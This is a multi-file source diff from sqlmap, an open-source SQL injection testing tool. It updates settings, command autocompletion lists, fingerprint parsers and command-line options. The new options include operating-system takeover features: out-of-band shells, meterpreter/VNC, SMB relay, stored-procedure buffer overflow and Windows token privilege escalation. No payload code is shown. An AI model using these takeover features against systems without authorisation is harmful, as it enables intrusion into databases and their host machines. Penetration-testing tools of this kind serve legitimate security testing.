|
||||
# sqlmap logger
|
||||
logging.addLevelName(9, "TRAFFIC OUT")
|
||||
logging.addLevelName(8, "TRAFFIC IN")
|
||||
|
||||
LOGGER = logging.getLogger("sqlmapLog")
|
||||
LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
|
||||
FORMATTER = logging.Formatter("[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S")
|
||||
|
|
@ -45,33 +46,33 @@ LOGGER_HANDLER.setFormatter(FORMATTER)
|
|||
LOGGER.addHandler(LOGGER_HANDLER)
|
||||
LOGGER.setLevel(logging.WARN)
|
||||
|
||||
# System variables
|
||||
PLATFORM = sys.platform.lower()
|
||||
PYVERSION = sys.version.split()[0]
|
||||
|
||||
# Url to update Microsoft SQL Server XML versions file from
|
||||
MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
|
||||
|
||||
# Url to update sqlmap from
|
||||
# Urls to update sqlmap from
|
||||
SQLMAP_VERSION_URL = "%s/doc/VERSION" % SITE
|
||||
SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip"
|
||||
|
||||
# Database managemen system specific variables
|
||||
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
|
||||
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
|
||||
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
|
||||
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME
|
||||
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
|
||||
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
|
||||
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
|
||||
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME
|
||||
|
||||
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
|
||||
MYSQL_ALIASES = [ "mysql", "my" ]
|
||||
PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
|
||||
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
|
||||
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
|
||||
MYSQL_ALIASES = [ "mysql", "my" ]
|
||||
PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
|
||||
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
|
||||
|
||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
|
||||
SUPPORTED_OS = ( "linux", "windows" )
|
||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
|
||||
SUPPORTED_OS = ( "linux", "windows" )
|
||||
|
||||
# TODO: port to command line/configuration file options?
|
||||
SECONDS = 5
|
||||
RETRIES = 3
|
||||
|
||||
SQL_STATEMENTS = {
|
||||
"SQL SELECT statement": (
|
||||
SQL_STATEMENTS = {
|
||||
"SQL SELECT statement": (
|
||||
"select ",
|
||||
"show ",
|
||||
" top ",
|
||||
|
|
@ -87,29 +88,29 @@ SQL_STATEMENTS = {
|
|||
" rownum as ",
|
||||
"(case ", ),
|
||||
|
||||
"SQL data definition": (
|
||||
"SQL data definition": (
|
||||
"create ",
|
||||
"declare ",
|
||||
"drop ",
|
||||
"truncate ",
|
||||
"alter ", ),
|
||||
|
||||
"SQL data manipulation": (
|
||||
"SQL data manipulation": (
|
||||
"insert ",
|
||||
"update ",
|
||||
"delete ",
|
||||
"merge ", ),
|
||||
|
||||
"SQL data control": (
|
||||
"SQL data control": (
|
||||
"grant ", ),
|
||||
|
||||
"SQL data execution": (
|
||||
"exec ",
|
||||
"SQL data execution": (
|
||||
"execute ", ),
|
||||
|
||||
"SQL transaction": (
|
||||
"SQL transaction": (
|
||||
"start transaction ",
|
||||
"begin work ",
|
||||
"begin transaction ",
|
||||
"commit ",
|
||||
"rollback ", ),
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
@ -90,13 +90,23 @@ def autoCompletion(sqlShell=False, osShell=False):
|
|||
if sqlShell:
|
||||
completer = CompleterNG(queriesForAutoCompletion())
|
||||
elif osShell:
|
||||
# TODO: add more operating system commands; differentiate commands
|
||||
# based on future operating system fingerprint
|
||||
completer = CompleterNG({
|
||||
"id": None, "ifconfig": None, "ls": None,
|
||||
"netstat -natu": None, "pwd": None,
|
||||
"uname": None, "whoami": None,
|
||||
})
|
||||
if kb.os == "Windows":
|
||||
# Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
|
||||
completer = CompleterNG({
|
||||
"copy": None, "del": None, "dir": None,
|
||||
"echo": None, "md": None, "mem": None,
|
||||
"move": None, "net": None, "netstat -na": None,
|
||||
"ver": None, "xcopy": None, "whoami": None,
|
||||
})
|
||||
|
||||
else:
|
||||
# Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
|
||||
completer = CompleterNG({
|
||||
"cp": None, "rm": None, "ls": None,
|
||||
"echo": None, "mkdir": None, "free": None,
|
||||
"mv": None, "ifconfig": None, "netstat -natu": None,
|
||||
"pwd": None, "uname": None, "id": None,
|
||||
})
|
||||
|
||||
readline.set_completer(completer.complete)
|
||||
readline.parse_and_bind("tab: complete")
|
||||
|
|
|
|||
89
lib/core/subprocessng.py
Normal file
89
lib/core/subprocessng.py
Normal file
|
|
@ -0,0 +1,89 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import fcntl
|
||||
import errno
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
|
||||
|
||||
if (sys.hexversion >> 16) >= 0x202:
|
||||
FCNTL = fcntl
|
||||
else:
|
||||
import FCNTL
|
||||
|
||||
|
||||
def blockingReadFromFD(fd):
|
||||
# Quick twist around original Twisted function
|
||||
# Blocking read from a non-blocking file descriptor
|
||||
output = ""
|
||||
|
||||
while True:
|
||||
try:
|
||||
output += os.read(fd, 8192)
|
||||
except (OSError, IOError), ioe:
|
||||
if ioe.args[0] in (errno.EAGAIN, errno.EINTR):
|
||||
# Uncomment the following line if the process seems to
|
||||
# take a huge amount of cpu time
|
||||
# time.sleep(0.01)
|
||||
continue
|
||||
else:
|
||||
raise
|
||||
break
|
||||
|
||||
if not output:
|
||||
raise EOFError, "fd %s has been closed." % fd
|
||||
|
||||
return output
|
||||
|
||||
|
||||
def blockingWriteToFD(fd, data):
|
||||
# Another quick twist
|
||||
while True:
|
||||
try:
|
||||
data_length = len(data)
|
||||
wrote_data = os.write(fd, data)
|
||||
except (OSError, IOError), io:
|
||||
if io.errno in (errno.EAGAIN, errno.EINTR):
|
||||
continue
|
||||
else:
|
||||
raise
|
||||
|
||||
if wrote_data < data_length:
|
||||
blockingWriteToFD(fd, data[wrote_data:])
|
||||
|
||||
break
|
||||
|
||||
|
||||
def setNonBlocking(fd):
|
||||
"""
|
||||
Make a file descriptor non-blocking
|
||||
"""
|
||||
|
||||
flags = fcntl.fcntl(fd, FCNTL.F_GETFL)
|
||||
flags = flags | os.O_NONBLOCK
|
||||
fcntl.fcntl(fd, FCNTL.F_SETFL, flags)
|
||||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
@ -42,14 +42,14 @@ class MSSQLBannerHandler(ContentHandler):
|
|||
given Microsoft SQL Server banner based upon the data in XML file
|
||||
"""
|
||||
|
||||
def __init__(self, banner):
|
||||
def __init__(self, banner, info):
|
||||
self.__banner = sanitizeStr(banner)
|
||||
|
||||
self.__inVersion = False
|
||||
self.__inServicePack = False
|
||||
self.__release = None
|
||||
self.__version = ""
|
||||
self.__servicePack = ""
|
||||
self.__info = info
|
||||
|
||||
|
||||
def __feedInfo(self, key, value):
|
||||
|
|
@ -58,7 +58,7 @@ class MSSQLBannerHandler(ContentHandler):
|
|||
if value in ( None, "None" ):
|
||||
return
|
||||
|
||||
kb.bannerFp[key] = value
|
||||
self.__info[key] = value
|
||||
|
||||
|
||||
def startElement(self, name, attrs):
|
||||
|
|
@ -117,7 +117,7 @@ def bannerParser(banner):
|
|||
checkFile(xmlfile)
|
||||
|
||||
if kb.dbms == "Microsoft SQL Server":
|
||||
handler = MSSQLBannerHandler(banner)
|
||||
handler = MSSQLBannerHandler(banner, kb.bannerFp)
|
||||
parse(xmlfile, handler)
|
||||
|
||||
handler = FingerprintHandler(banner, kb.bannerFp)
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
@ -43,7 +43,7 @@ def cmdLineParser():
|
|||
parser = OptionParser(usage=usage, version=VERSION_STRING)
|
||||
|
||||
try:
|
||||
parser.add_option("-v", dest="verbose", type="int",
|
||||
parser.add_option("-v", dest="verbose", type="int", default=1,
|
||||
help="Verbosity level: 0-5 (default 1)")
|
||||
|
||||
# Target options
|
||||
|
|
@ -68,7 +68,7 @@ def cmdLineParser():
|
|||
"to specify how to connect to the target url.")
|
||||
|
||||
request.add_option("--method", dest="method", default="GET",
|
||||
help="HTTP method, GET or POST (default: GET)")
|
||||
help="HTTP method, GET or POST (default GET)")
|
||||
|
||||
request.add_option("--data", dest="data",
|
||||
help="Data string to be sent through POST")
|
||||
|
|
@ -87,30 +87,34 @@ def cmdLineParser():
|
|||
"header from file")
|
||||
|
||||
request.add_option("--headers", dest="headers",
|
||||
help="Extra HTTP headers '\\n' separated")
|
||||
help="Extra HTTP headers newline separated")
|
||||
|
||||
request.add_option("--auth-type", dest="aType",
|
||||
help="HTTP Authentication type, value: "
|
||||
"Basic or Digest")
|
||||
help="HTTP Authentication type (value "
|
||||
"Basic or Digest)")
|
||||
|
||||
request.add_option("--auth-cred", dest="aCred",
|
||||
help="HTTP Authentication credentials, value: "
|
||||
"name:password")
|
||||
help="HTTP Authentication credentials (value "
|
||||
"name:password)")
|
||||
|
||||
request.add_option("--proxy", dest="proxy",
|
||||
help="Use a HTTP proxy to connect to the target url")
|
||||
|
||||
request.add_option("--threads", dest="threads", type="int",
|
||||
request.add_option("--threads", dest="threads", type="int", default=1,
|
||||
help="Maximum number of concurrent HTTP "
|
||||
"requests (default 1)")
|
||||
|
||||
request.add_option("--delay", dest="delay", type="float",
|
||||
help="Delay in seconds between each HTTP request")
|
||||
|
||||
request.add_option("--timeout", dest="timeout", type="float",
|
||||
request.add_option("--timeout", dest="timeout", type="float", default=30,
|
||||
help="Seconds to wait before timeout connection "
|
||||
"(default 30)")
|
||||
|
||||
request.add_option("--retries", dest="retries", type="int", default=3,
|
||||
help="Retries when the connection timeouts "
|
||||
"(default 3)")
|
||||
|
||||
|
||||
# Injection options
|
||||
injection = OptionGroup(parser, "Injection", "These options can be "
|
||||
|
|
@ -126,6 +130,10 @@ def cmdLineParser():
|
|||
injection.add_option("--dbms", dest="dbms",
|
||||
help="Force back-end DBMS to this value")
|
||||
|
||||
injection.add_option("--os", dest="os",
|
||||
help="Force back-end DBMS operating system "
|
||||
"to this value")
|
||||
|
||||
injection.add_option("--prefix", dest="prefix",
|
||||
help="Injection payload prefix string")
|
||||
|
||||
|
|
@ -141,12 +149,12 @@ def cmdLineParser():
|
|||
"query is valid")
|
||||
|
||||
injection.add_option("--excl-str", dest="eString",
|
||||
help="String to be excluded before calculating "
|
||||
"page hash")
|
||||
help="String to be excluded before comparing "
|
||||
"page contents")
|
||||
|
||||
injection.add_option("--excl-reg", dest="eRegexp",
|
||||
help="Regexp matches to be excluded before "
|
||||
"calculating page hash")
|
||||
help="Matches to be excluded before "
|
||||
"comparing page contents")
|
||||
|
||||
|
||||
# Techniques options
|
||||
|
|
@ -165,6 +173,11 @@ def cmdLineParser():
|
|||
action="store_true",
|
||||
help="Test for time based blind SQL injection")
|
||||
|
||||
techniques.add_option("--time-sec", dest="timeSec",
|
||||
type="int", default=5,
|
||||
help="Seconds to delay the DBMS response "
|
||||
"(default 5)")
|
||||
|
||||
techniques.add_option("--union-test", dest="unionTest",
|
||||
action="store_true",
|
||||
help="Test for UNION query (inband) SQL injection")
|
||||
|
|
@ -214,25 +227,25 @@ def cmdLineParser():
|
|||
|
||||
enumeration.add_option("--passwords", dest="getPasswordHashes",
|
||||
action="store_true",
|
||||
help="Enumerate DBMS users password hashes (opt: -U)")
|
||||
help="Enumerate DBMS users password hashes (opt -U)")
|
||||
|
||||
enumeration.add_option("--privileges", dest="getPrivileges",
|
||||
action="store_true",
|
||||
help="Enumerate DBMS users privileges (opt: -U)")
|
||||
help="Enumerate DBMS users privileges (opt -U)")
|
||||
|
||||
enumeration.add_option("--dbs", dest="getDbs", action="store_true",
|
||||
help="Enumerate DBMS databases")
|
||||
|
||||
enumeration.add_option("--tables", dest="getTables", action="store_true",
|
||||
help="Enumerate DBMS database tables (opt: -D)")
|
||||
help="Enumerate DBMS database tables (opt -D)")
|
||||
|
||||
enumeration.add_option("--columns", dest="getColumns", action="store_true",
|
||||
help="Enumerate DBMS database table columns "
|
||||
"(req:-T opt:-D)")
|
||||
"(req -T opt -D)")
|
||||
|
||||
enumeration.add_option("--dump", dest="dumpTable", action="store_true",
|
||||
help="Dump DBMS database table entries "
|
||||
"(req: -T, opt: -D, -C, --start, --stop)")
|
||||
"(req -T, opt -D, -C, --start, --stop)")
|
||||
|
||||
enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
|
||||
help="Dump all DBMS databases tables entries")
|
||||
|
|
@ -271,38 +284,63 @@ def cmdLineParser():
|
|||
# File system options
|
||||
filesystem = OptionGroup(parser, "File system access", "These options "
|
||||
"can be used to access the back-end database "
|
||||
"management system file system taking "
|
||||
"advantage of native DBMS functions or "
|
||||
"specific DBMS design weaknesses.")
|
||||
"management system underlying file system.")
|
||||
|
||||
filesystem.add_option("--read-file", dest="rFile",
|
||||
help="Read a specific OS file content (only on MySQL)")
|
||||
help="Read a file from the back-end DBMS "
|
||||
"file system")
|
||||
|
||||
filesystem.add_option("--write-file", dest="wFile",
|
||||
help="Write to a specific OS file (not yet available)")
|
||||
help="Write a local file on the back-end "
|
||||
"DBMS file system")
|
||||
|
||||
filesystem.add_option("--dest-file", dest="dFile",
|
||||
help="Back-end DBMS absolute filepath to "
|
||||
"write to")
|
||||
|
||||
# Takeover options
|
||||
takeover = OptionGroup(parser, "Operating system access", "This "
|
||||
"option can be used to access the back-end "
|
||||
"database management system operating "
|
||||
"system taking advantage of specific DBMS "
|
||||
"design weaknesses.")
|
||||
"database management system underlying "
|
||||
"operating system.")
|
||||
|
||||
takeover.add_option("--os-cmd", dest="osCmd",
|
||||
help="Execute an operating system command")
|
||||
|
||||
takeover.add_option("--os-shell", dest="osShell", action="store_true",
|
||||
help="Prompt for an interactive OS shell "
|
||||
"(only on PHP/MySQL environment with a "
|
||||
"writable directory within the web "
|
||||
"server document root for the moment)")
|
||||
help="Prompt for an interactive operating "
|
||||
"system shell")
|
||||
|
||||
takeover.add_option("--os-pwn", dest="osPwn", action="store_true",
|
||||
help="Prompt for an out-of-band shell, "
|
||||
"meterpreter or VNC")
|
||||
|
||||
takeover.add_option("--os-smbrelay", dest="osSmb", action="store_true",
|
||||
help="One click prompt for an OOB shell, "
|
||||
"meterpreter or VNC")
|
||||
|
||||
takeover.add_option("--os-bof", dest="osBof", action="store_true",
|
||||
help="Stored procedure buffer overflow "
|
||||
"exploitation")
|
||||
|
||||
takeover.add_option("--priv-esc", dest="privEsc", action="store_true",
|
||||
help="User priv escalation by abusing Windows "
|
||||
"access tokens")
|
||||
|
||||
takeover.add_option("--msf-path", dest="msfPath",
|
||||
help="Local path where Metasploit Framework 3 "
|
||||
"is installed")
|
||||
|
||||
takeover.add_option("--tmp-path", dest="tmpPath",
|
||||
help="Remote absolute path of temporary files "
|
||||
"directory")
|
||||
|
||||
# Miscellaneous options
|
||||
miscellaneous = OptionGroup(parser, "Miscellaneous")
|
||||
|
||||
miscellaneous.add_option("--eta", dest="eta", action="store_true",
|
||||
help="Retrieve each query output length and "
|
||||
"calculate the estimated time of arrival "
|
||||
"in real time")
|
||||
help="Display for each output the "
|
||||
"estimated time of arrival")
|
||||
|
||||
miscellaneous.add_option("--update", dest="updateAll", action="store_true",
|
||||
help="Update sqlmap to the latest stable version")
|
||||
|
|
@ -317,6 +355,9 @@ def cmdLineParser():
|
|||
miscellaneous.add_option("--batch", dest="batch", action="store_true",
|
||||
help="Never ask for user input, use the default behaviour")
|
||||
|
||||
miscellaneous.add_option("--cleanup", dest="cleanup", action="store_true",
|
||||
help="Clean up the DBMS by sqlmap specific "
|
||||
"UDF and tables")
|
||||
|
||||
parser.add_option_group(target)
|
||||
parser.add_option_group(request)
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
@ -39,8 +39,7 @@ class FingerprintHandler(ContentHandler):
|
|||
"""
|
||||
|
||||
def __init__(self, banner, info):
|
||||
self.__banner = sanitizeStr(banner)
|
||||
|
||||
self.__banner = sanitizeStr(banner)
|
||||
self.__regexp = None
|
||||
self.__match = None
|
||||
self.__dbmsVersion = None
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
@ -103,6 +103,9 @@ class queriesHandler(ContentHandler):
|
|||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.timedelay = data
|
||||
|
||||
data = sanitizeStr(attrs.get("query2"))
|
||||
self.__queries.timedelay2 = data
|
||||
|
||||
elif name == "substring":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.substring = data
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
@ -29,14 +29,10 @@ import re
|
|||
from lib.core.convert import md5hash
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
|
||||
|
||||
MATCH_RATIO = None
|
||||
from lib.core.session import setMatchRatio
|
||||
|
||||
|
||||
def comparison(page, headers=None, getSeqMatcher=False):
|
||||
global MATCH_RATIO
|
||||
|
||||
regExpResults = None
|
||||
|
||||
# String to be excluded before calculating page hash
|
||||
|
|
@ -78,13 +74,16 @@ def comparison(page, headers=None, getSeqMatcher=False):
|
|||
|
||||
# If the url is stable and we did not set yet the match ratio and the
|
||||
# current injected value changes the url page content
|
||||
if MATCH_RATIO == None:
|
||||
if conf.md5hash != None and ratio < 1 and ratio > 0.6:
|
||||
if conf.matchRatio == None:
|
||||
if conf.md5hash != None and ratio > 0.6 and ratio < 1:
|
||||
logger.debug("setting match ratio to %.3f" % ratio)
|
||||
MATCH_RATIO = ratio
|
||||
conf.matchRatio = ratio
|
||||
elif conf.md5hash == None or ( conf.md5hash != None and ratio < 0.6 ):
|
||||
logger.debug("setting match ratio to default value 0.900")
|
||||
MATCH_RATIO = 0.900
|
||||
conf.matchRatio = 0.900
|
||||
|
||||
if conf.matchRatio != None:
|
||||
setMatchRatio()
|
||||
|
||||
# If it has been requested to return the ratio and not a comparison
|
||||
# response
|
||||
|
|
@ -100,7 +99,7 @@ def comparison(page, headers=None, getSeqMatcher=False):
|
|||
|
||||
# If the url is not stable it returns sequence matcher between the
|
||||
# first untouched HTTP response page content and this content
|
||||
elif ratio > MATCH_RATIO:
|
||||
elif ratio > conf.matchRatio:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
